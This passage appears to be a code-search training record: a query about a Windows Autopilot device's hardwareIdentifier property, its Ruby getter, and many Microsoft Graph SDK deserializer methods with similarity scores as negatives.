n.get_number_value() },\n \"maxSilenceTimeoutInSeconds\" => lambda {|n| @max_silence_timeout_in_seconds = n.get_number_value() },\n \"playBeep\" => lambda {|n| @play_beep = n.get_boolean_value() },\n \"prompts\" => lambda {|n| @prompts = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Prompt.create_from_discriminator_value(pn) }) },\n \"stopTones\" => lambda {|n| @stop_tones = n.get_collection_of_primitive_values(String) },\n }\n end", "def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"response\" => lambda {|n| @response = n.get_enum_value(MicrosoftGraph::Models::ResponseType) },\n \"time\" => lambda {|n| @time = n.get_date_time_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"driveId\" => lambda {|n| @drive_id = n.get_string_value() },\n \"driveType\" => lambda {|n| @drive_type = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"path\" => lambda {|n| @path = n.get_string_value() },\n \"shareId\" => lambda {|n| @share_id = n.get_string_value() },\n \"sharepointIds\" => lambda {|n| @sharepoint_ids = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SharepointIds.create_from_discriminator_value(pn) }) },\n \"siteId\" => lambda {|n| @site_id = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"appName\" => lambda {|n| @app_name = n.get_string_value() },\n \"appPublisher\" => lambda {|n| @app_publisher = n.get_string_value() },\n \"appVersion\" => lambda {|n| @app_version = n.get_string_value() },\n \"deviceDisplayName\" => lambda {|n| @device_display_name = n.get_string_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"processedDateTime\" => lambda {|n| @processed_date_time = n.get_date_time_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"activeMalwareDetectionCount\" => lambda {|n| @active_malware_detection_count = n.get_number_value() },\n \"category\" => lambda {|n| @category = n.get_enum_value(MicrosoftGraph::Models::WindowsMalwareCategory) },\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"distinctActiveMalwareCount\" => lambda {|n| @distinct_active_malware_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"issuerName\" => lambda {|n| @issuer_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::CertificateStatus) },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n \"subjectName\" => lambda {|n| @subject_name = n.get_string_value() },\n \"uploadDateTime\" => lambda {|n| @upload_date_time = n.get_date_time_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"servicePrincipalId\" => lambda {|n| @service_principal_id = n.get_string_value() },\n \"servicePrincipalName\" => lambda {|n| @service_principal_name = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"riskDetections\" => lambda {|n| @risk_detections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskDetection.create_from_discriminator_value(pn) }) },\n \"riskyServicePrincipals\" => lambda {|n| @risky_service_principals = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskyServicePrincipal.create_from_discriminator_value(pn) }) },\n \"riskyUsers\" => lambda {|n| @risky_users = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RiskyUser.create_from_discriminator_value(pn) }) },\n \"servicePrincipalRiskDetections\" => lambda {|n| @service_principal_risk_detections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ServicePrincipalRiskDetection.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def get_field_deserializers()\n return {\n \"failedTasks\" => lambda {|n| @failed_tasks = n.get_number_value() },\n \"failedUsers\" => lambda {|n| @failed_users = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"successfulUsers\" => lambda {|n| @successful_users = n.get_number_value() },\n \"totalTasks\" => lambda {|n| @total_tasks = n.get_number_value() },\n \"totalUsers\" => lambda {|n| @total_users = n.get_number_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"durationInSeconds\" => lambda {|n| @duration_in_seconds = n.get_number_value() },\n \"joinDateTime\" => lambda {|n| @join_date_time = n.get_date_time_value() },\n \"leaveDateTime\" => lambda {|n| @leave_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"applicationId\" => lambda {|n| @application_id = n.get_string_value() },\n \"changeType\" => lambda {|n| @change_type = n.get_string_value() },\n \"clientState\" => lambda {|n| @client_state = n.get_string_value() },\n \"creatorId\" => lambda {|n| @creator_id = n.get_string_value() },\n \"encryptionCertificate\" => lambda {|n| @encryption_certificate = n.get_string_value() },\n \"encryptionCertificateId\" => lambda {|n| @encryption_certificate_id = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"includeResourceData\" => lambda {|n| @include_resource_data = n.get_boolean_value() },\n \"latestSupportedTlsVersion\" => lambda {|n| @latest_supported_tls_version = n.get_string_value() },\n \"lifecycleNotificationUrl\" => lambda {|n| @lifecycle_notification_url = n.get_string_value() },\n \"notificationQueryOptions\" => lambda {|n| @notification_query_options = n.get_string_value() },\n \"notificationUrl\" => lambda {|n| @notification_url = n.get_string_value() },\n \"notificationUrlAppId\" => lambda {|n| @notification_url_app_id = n.get_string_value() },\n \"resource\" => lambda {|n| @resource = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"entityType\" => lambda {|n| @entity_type = n.get_string_value() },\n \"mailNickname\" => lambda {|n| @mail_nickname = n.get_string_value() },\n \"onBehalfOfUserId\" => lambda {|n| @on_behalf_of_user_id = n.get_guid_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"actionName\" => lambda {|n| @action_name = n.get_string_value() },\n \"actionState\" => lambda {|n| @action_state = n.get_enum_value(MicrosoftGraph::Models::ActionState) },\n \"lastUpdatedDateTime\" => lambda {|n| @last_updated_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"accountName\" => lambda {|n| @account_name = n.get_string_value() },\n \"azureAdUserId\" => lambda {|n| @azure_ad_user_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"domainName\" => lambda {|n| @domain_name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n \"userSid\" => lambda {|n| @user_sid = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"comment\" => lambda {|n| @comment = n.get_string_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"items\" => lambda {|n| @items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DocumentSetVersionItem.create_from_discriminator_value(pn) }) },\n \"shouldCaptureMinorVersion\" => lambda {|n| @should_capture_minor_version = n.get_boolean_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"callChainId\" => lambda {|n| @call_chain_id = n.get_guid_value() },\n \"cloudServiceDeploymentEnvironment\" => lambda {|n| @cloud_service_deployment_environment = n.get_string_value() },\n \"cloudServiceDeploymentId\" => lambda {|n| @cloud_service_deployment_id = n.get_string_value() },\n \"cloudServiceInstanceName\" => lambda {|n| @cloud_service_instance_name = n.get_string_value() },\n \"cloudServiceName\" => lambda {|n| @cloud_service_name = n.get_string_value() },\n \"deviceDescription\" => lambda {|n| @device_description = n.get_string_value() },\n \"deviceName\" => lambda {|n| @device_name = n.get_string_value() },\n \"mediaLegId\" => lambda {|n| @media_leg_id = n.get_guid_value() },\n \"mediaQualityList\" => lambda {|n| @media_quality_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::TeleconferenceDeviceMediaQuality.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"participantId\" => lambda {|n| @participant_id = n.get_guid_value() },\n }\n end", "def _before_validation\n serialize_deserialized_values\n super\n end", "def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isBuiltIn\" => lambda {|n| @is_built_in = n.get_boolean_value() },\n \"roleAssignments\" => lambda {|n| @role_assignments = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RoleAssignment.create_from_discriminator_value(pn) }) },\n \"rolePermissions\" => lambda {|n| @role_permissions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RolePermission.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"kind\" => lambda {|n| @kind = n.get_string_value() },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"value\" => lambda {|n| @value = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"color\" => lambda {|n| @color = n.get_string_value() },\n \"criterion1\" => lambda {|n| @criterion1 = n.get_string_value() },\n \"criterion2\" => lambda {|n| @criterion2 = n.get_string_value() },\n \"dynamicCriteria\" => lambda {|n| @dynamic_criteria = n.get_string_value() },\n \"filterOn\" => lambda {|n| @filter_on = n.get_string_value() },\n \"icon\" => lambda {|n| @icon = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookIcon.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"operator\" => lambda {|n| @operator = n.get_string_value() },\n \"values\" => lambda {|n| @values = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end" ]
[ "0.6510734", "0.63224316", "0.6322254", "0.63094735", "0.62954384", "0.6238735", "0.6232461", "0.62155676", "0.6200175", "0.6199403", "0.6173917", "0.61733985", "0.61705345", "0.61631054", "0.61620396", "0.6158031", "0.6156071", "0.6142402", "0.613998", "0.6138061", "0.61200523", "0.6089013", "0.60869795", "0.6079146", "0.60785794", "0.6070405", "0.6063533", "0.60625833", "0.6061235", "0.60584134", "0.6055769", "0.6051312", "0.60465735", "0.6046329", "0.6031944", "0.6029311", "0.6028314", "0.60255736", "0.6022033", "0.60210633", "0.6009887", "0.5988654", "0.59793943", "0.5975247", "0.5969614", "0.596824", "0.5966432", "0.5965554", "0.596292", "0.5951651", "0.5950895", "0.59456754", "0.59448177", "0.593984", "0.59362113", "0.5935833", "0.59319806", "0.59312665", "0.59307545", "0.5930406", "0.5926444", "0.5926136", "0.59240156", "0.5922303", "0.591605", "0.591336", "0.5913327", "0.59130335", "0.5910617", "0.5906052", "0.5906045", "0.59042066", "0.5903306", "0.5902868", "0.59027255", "0.5902389", "0.5902219", "0.5901496", "0.58978146", "0.5891392", "0.5890228", "0.5885622", "0.5885429", "0.5884738", "0.5883899", "0.5883899", "0.5883899", "0.58811784", "0.5878516", "0.5877111", "0.5869185", "0.5844199", "0.58430207", "0.58408237", "0.58383596", "0.58362466", "0.5836192", "0.5835942", "0.5834559", "0.583357" ]
0.59844214
42
Gets the groupTag property value. Group Tag of the Windows autopilot device.
def group_tag return @group_tag end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def group_tag=(value)\n @group_tag = value\n end", "def group\n @group.name\n end", "def group\n return @group\n end", "def group\n return @group\n end", "def device_tag\n return @device_tag\n end", "def get_group (pack)\n if !pack.group_id.empty?\n group_id = pack.group_id\n else\n group_id = Chef::Config[:register]\n end\n return group_id\n end", "def tag_barcode\n tag&.group_id\n end", "def group\n @group\n end", "def group_uuid\n @os_aws.group_uuid\n end", "def group\n return @children['group'][:value]\n end", "def group_name\n data[:group_name]\n end", "def group_id\n get_info[:groupID]\n end", "def group_name\n @attributes[:group_name]\n end", "def group_name\n @attributes[:group_name]\n end", "def group\n @group\n end", "def group\n case self.vlabel_group\n when @@geo_route_vlabel_group\n group_name = $1\n else\n group_name = self.vlabel_group\n end\n Group.find_by_app_id_and_name(self.app_id, group_name)\n end", "def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end", "def sudo_group()\n\t\t\treturn @metadata.attributes[:sudo_group]\n\t\tend", "def group\n Group.get!(gidnumber)\n end", "def group_name\n @group_name ||= self.class.group_name(group)\n end", "def get(tag)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'tag', tag)\n\t\t\tclient.queue_service_action_call('configurationgrouptag', 'get', 'KalturaConfigurationGroupTag', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def get_current_group\n sd = get_security_descriptor\n\n sd&.group\n end", "def os_group\n @os_group\n end", "def group_name\n group.name if group\n end", "def tags\n @group.tags\n end", "def tag\n return @tag\n end", "def group\n @group ||= producer.groups.first\n end", "def group=(value)\n @group = value\n end", "def group=(value)\n @group = value\n end", "def getTag\n\t\treturn @tag\n\tend", "def group_name\n @sg.group_name\n end", "def group_name\n @sg.group_name\n end", "def device_tag=(value)\n @device_tag = value\n end", "def group_id\n @attributes[:group_id]\n end", "def group_id\n @attributes[:group_id]\n end", "def group_id\n @attributes[:group_id]\n end", "def group_type\n return @group_type\n end", "def kind\n @kind || :group\n end", "def group\n object.group.id\n end", "def get_group(ctx)\n JavaScriptCore::Lib.JSContextGetGroup(ctx)\n end", "def group\n @opts[:group] || DEFAULT_GROUP\n end", "def group\n attribute_prop(7)\n end", "def group\n gid = File.stat(self.artifact).gid\n Etc.getgrgid(gid).name\n end", "def get group_identifier\n groups.fetch self.class.identifierize(group_identifier), nil\n end", "def group(value)\n attributes[:group] = value\n end", "def feature_group\n return @feature_group\n end", "def group; Group.get(self.group_id); end", "def group\n @group ||= Interface::Group.new(self)\n end", "def get_group(gid)\n\t\t\t@group_name=GROUPS[gid.to_s]\n\t\tend", "def set_group\n data[:group]\n end", "def tag(tag, group: nil)\n tag_params = { tag: tag }\n tag_params[:group] = group unless group.nil?\n tag_params\n end", "def getGroupObjName\r\n\t\t return \"mfiforce__group__c\"\r\n\t\tend", "def control_group\n @fields[2]\n end", "def windows_group\n [Windows7, WindowsNT]\n end", "def package_group(val = NULL)\n if null?(val)\n @package_group || Ohai[\"root_group\"] || \"root\"\n else\n @package_group = val\n end\n end", "def group_label\n if self.group == 0\n \"Intervention\"\n elsif self.group == 1\n \"Control\"\n else\n \"::INVALID::\"\n end\n end", "def package_group(val = NULL)\n if null?(val)\n @package_group || Ohai['root_group'] || 'root'\n else\n @package_group = val\n end\n end", "def get_group(gid)\n\t\t\t\tgroups().each do |group|\n\t\t\t\t\treturn group[1].groupname if group[1].gid == gid\n\t\t\t\tend\n\t\t\t\tnil\n\t\t\tend", "def tags_field\n try_until -> { @tags_field } do\n send_message(Protocol::Device::GetTags.new)\n end\n @tags_field\n end", "def group_name\n group.blank? ? Group.direct_to_consumer.name : group.name\n end", "def get_group(group_oid, opts = {})\n get_group_with_http_info(group_oid, opts)\n nil\n end", "def group\n return @group unless @group.nil?\n @group, @group_level = self.class.group_and_level(event_type)\n @group\n end", "def group\n return nil if item_type != 'group'\n direct_group\n end", "def [](group_name)\n @groups[group_name] or raise UnknownGroup, \"#{group_name.inspect} group is not defined\"\n end", "def tag_name\n return @tag_name\n end", "def tag_groups\n build_tag_groups_array RubyRedtail::Query.run(\"settings/taggroups\", @api_hash, \"GET\")\n end", "def group\n nil\n end", "def group(group: 'group_A')\n fetch(\"world_cup.groups.#{group}\")\n end", "def group=(group)\n mutate(group, @name, @params, @value)\n group\n end", "def group_id\n \tregisterable.class.name == \"Group\" ? registerable.id : nil\n end", "def get_group group_uuid\n group_uuid = @everyone_group if group_uuid.blank?\n \n return group_uuid if group_uuid.is_a?(Group)\n\n tmp = @groups.find{|grp|grp.uuid == group_uuid}\n \n raise \"unknown group or user with id #{group_uuid}\" unless tmp\n \n tmp\n end", "def group\n @group ||= Group.new @instance, group_id\n end", "def group(arg = nil)\n set_or_return(\n :group,\n arg,\n kind_of: String,\n regex: Chef::Config[:group_valid_regex],\n )\n end", "def host_group\n config.host_group_name\n end", "def group\n nil\n end", "def group\n nil\n end", "def group\n nil\n end", "def gid\n self['GID'].to_i\n end", "def gid\n self['GID'].to_i\n end", "def gid\n self['GID'].to_i\n end", "def group(v)\n endpoint_info[:group] = v\n end", "def tag\n @tag\n end", "def tag_type\n return @tag_type\n end", "def group\n @header.group\n end", "def current_group\n end", "def group() self['group'] || node[:users]['root'][:primary_group] ; end", "def feature_group=(value)\n @feature_group = value\n end", "def current_group(options = {})\n if platform_family? 'windows'\n return \"#{::ENV['COMPUTERNAME']}\\\\None\" unless Pathname.new(install_dir).exist?\n\n require 'chef/win32/security'\n security_descriptor = Chef::ReservedNames::Win32::Security.get_named_security_info(install_dir)\n return security_descriptor.group if options[:sid]\n security_descriptor.group.account_name\n elsif Pathname.new(install_dir).exist?\n Etc.getgrgid(Pathname.new(install_dir).stat.gid).name\n end\n end", "def vm_group\n return nil if host_group.nil?\n # TODO TA SG : Derive a shorter unique name (unique across process calls from the host group name only. Using rand will create multiple vm groups with 1 vm each.\n # if host_group.length > 100\n # return \"#{self.rule_type_suffix}-vm_group-#{(0...6).map { (97 + rand(26)).chr }.join}\"\n # end\n host_group + self.rule_type_suffix + CLUSTER_VM_GROUP_SUFFIX\n end", "def username\n @data[GROUPNAME]\n end", "def _tag_name\n @tag_name\n end", "def site_group\n return @site_group\n end", "def group\n @group ||= group_id && course.groups.find_by(id: group_id)\n end", "def image_tagging_option\n return @image_tagging_option\n end", "def group_connection\n data['groupConnections'].first['id']\n end", "def group_name(param)\n \"groupName=#{param}\"\n end", "def option_group_arn\n data[:option_group_arn]\n end", "def get_group_vals(group)\n\t\treturn Group.get_value(group, @system).value.split(\",\")\n\tend", "def dmdid_attribute(groupname)\n \"\"\n end", "def group(arg=nil)\n arg.nil? ? @group : @group = arg.to_s\n end" ]
[ "0.72739", "0.6650034", "0.6575842", "0.6575842", "0.6474362", "0.639696", "0.63197726", "0.63156873", "0.6269976", "0.6268997", "0.6258324", "0.6226683", "0.62137276", "0.62137276", "0.61333174", "0.6128991", "0.6121046", "0.61202705", "0.6103257", "0.60861814", "0.6079471", "0.6073006", "0.60697097", "0.6063655", "0.60034513", "0.6002573", "0.5965268", "0.5930082", "0.5930082", "0.5923154", "0.5900139", "0.5900139", "0.58989495", "0.5869891", "0.5869891", "0.5869891", "0.58597606", "0.5847096", "0.58202636", "0.5788879", "0.5777999", "0.57504034", "0.5748178", "0.57267714", "0.57033336", "0.5699069", "0.56789225", "0.56788987", "0.55949384", "0.5575751", "0.5567317", "0.5556253", "0.55383396", "0.55185837", "0.55034506", "0.5494665", "0.54842526", "0.5463935", "0.5461527", "0.54294515", "0.54087716", "0.5391583", "0.5390929", "0.53818786", "0.53647155", "0.5364325", "0.53627676", "0.53446966", "0.5324552", "0.53081757", "0.52953607", "0.5270835", "0.52549", "0.5249359", "0.52358466", "0.52358466", "0.52358466", "0.52342117", "0.52342117", "0.52342117", "0.5225964", "0.52200276", "0.5206268", "0.51885796", "0.5179545", "0.517554", "0.5170435", "0.5168722", "0.5163605", "0.5143658", "0.5141784", "0.5137142", "0.5131094", "0.51058847", "0.51042074", "0.51000094", "0.5093111", "0.50856054", "0.50833076", "0.507999" ]
0.7440861
0
Sets the groupTag property value. Group Tag of the Windows autopilot device.
def group_tag=(value) @group_tag = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_group(group)\n send_request(FUNCTION_SET_GROUP, [group], 'k4', 0, '')\n end", "def group=(value)\n @group = value\n end", "def group=(value)\n @group = value\n end", "def set_group(param)\n @group = param\n end", "def tag(tag, group: nil)\n tag_params = { tag: tag }\n tag_params[:group] = group unless group.nil?\n tag_params\n end", "def group=(group)\n mutate(group, @name, @params, @value)\n group\n end", "def device_tag=(value)\n @device_tag = value\n end", "def group(value)\n attributes[:group] = value\n end", "def set_tag_type_group\n @tag_type_group = TagTypeGroup.find(params[:id])\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def setTag(tag)\n @fields['tag'] = tag\n self\n end", "def set_group\n data[:group]\n end", "def set_group\n @group = Group.friendly.find(params[:group_id])\n end", "def group(v)\n endpoint_info[:group] = v\n end", "def group(name)\n @_group = name\n end", "def set_device_group\n @device_group = DeviceGroup.find(params[:id])\n end", "def set_group\n @group = Group.friendly.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:group_id])\n end", "def set_group\n # byebug\n @group = Group.find(params[:id])\n end", "def feature_group=(value)\n @feature_group = value\n end", "def set_group(default_group)\n @default_group = default_group\n end", "def set_group\n @group = Group.friendly.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = Group.find(params[:id])\n end", "def set_group\n @group = current_user.groups.find(params[:group_id])\n end", "def group=(new_group)\n if @group != new_group\n @dacl.reassign!(@group, new_group)\n @group = new_group\n end\n end", "def user_group=(v)\n @user_group = alma_string v\n end", "def set_group\n @group = Group.find(params[:id])\n\n end", "def ListView_SetGroupInfo(hwnd, iGroupId, pgrp)\n send_listview_message(hwnd, :SETGROUPINFO, wparam: iGroupId, lparam: pgrp)\n end", "def group=(group)\n debug \"#{self.artifactid}: Changing group to '#{self.artifactGroup}'.\"\n begin\n File.chown(nil,Etc.getgrnam(self.group).gid,self.artifact)\n rescue => detail\n raise Puppet::Error, \"Failed to set group to '#{self.group}': #{detail}\"\n end\n end", "def set_group\r\n @group = Group.find(params[:id])\r\n end", "def set_group\n @group = Group.friendly.find(params[:id])\n end", "def set_group\n @group = Group.find_by_id(params[:id])\n end", "def tag=(value)\n @tag = value\n self.status = TAG_STATUS.fetch(value)\n @tag\n end", "def hcSetGroup _obj, _args\n \"_obj hcSetGroup _args;\" \n end", "def set_group\n @group = Group.with_attached_logo.includes(:conversations).friendly.find(params[:id])\n end", "def set_group\n @group = Group.friendly.find(params[:comment][:group_id])\n end", "def set_group\n @group = Group.find(params[:group_id])\n end", "def set_mygroup\n # retrieve the user name\n group = %x{groups}.chomp.split(/ /)[0]\n raise \"Could not find group to set in @mygroup\" unless group\n @mygroup = group\n end", "def set_group\n #@group = Group.find(params[:id])\n end", "def group_tag\n return @group_tag\n end", "def age_group=(age_group)\n if !age_group.nil? && age_group.to_s.length > 5\n fail ArgumentError, 'invalid value for \"age_group\", the character length must be smaller than or equal to 5.'\n end\n\n @age_group = age_group\n end", "def site_group=(value)\n @site_group = value\n end", "def set_t_group\n @t_group = TGroup.find(params[:id])\n end", "def update(group, tags)\n body = {:tags => tags}.to_json\n url = build_url(group)\n response = rest_patch(url, body)\n response.return!\n end", "def group(group_name_or_gid)\n @commands_and_opts.push \"#{OPTIONAL_OPTS[:group]}=#{group_name_or_gid}\"\n self\n end", "def set_main_group(group)\r\n #@main_group = group\r\n\t\t@groups[10] = group\r\n\tend", "def group\n @opts[:group] || DEFAULT_GROUP\n end", "def set_asset_group_tags(id, opts = {})\n data, _status_code, _headers = set_asset_group_tags_with_http_info(id, opts)\n data\n end", "def set_TOUGroupID(value)\n set_input(\"TOUGroupID\", value)\n end" ]
[ "0.6995956", "0.69234306", "0.69234306", "0.6817846", "0.65841335", "0.6557671", "0.6365477", "0.63241565", "0.6316847", "0.62117404", "0.62117404", "0.62117404", "0.62117404", "0.62117404", "0.62117404", "0.62117404", "0.6177378", "0.6153126", "0.61382973", "0.6099297", "0.60946834", "0.60769", "0.6029643", "0.5949863", "0.59493405", "0.5921126", "0.58854693", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5809555", "0.5783709", "0.5768721", "0.56905603", "0.56818956", "0.5671221", "0.56623167", "0.5658173", "0.5646266", "0.56389314", "0.5614019", "0.5598703", "0.55952257", "0.5585469", "0.55825263", "0.5562165", "0.5559352", "0.5551557", "0.5516064", "0.55109113", "0.55062246", "0.5504504", "0.5493082", "0.5469004", "0.54493326", "0.54438186", "0.5415828" ]
0.79322875
0
Gets the hardwareIdentifier property value. Hardware Blob of the Windows autopilot device.
def hardware_identifier return @hardware_identifier end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
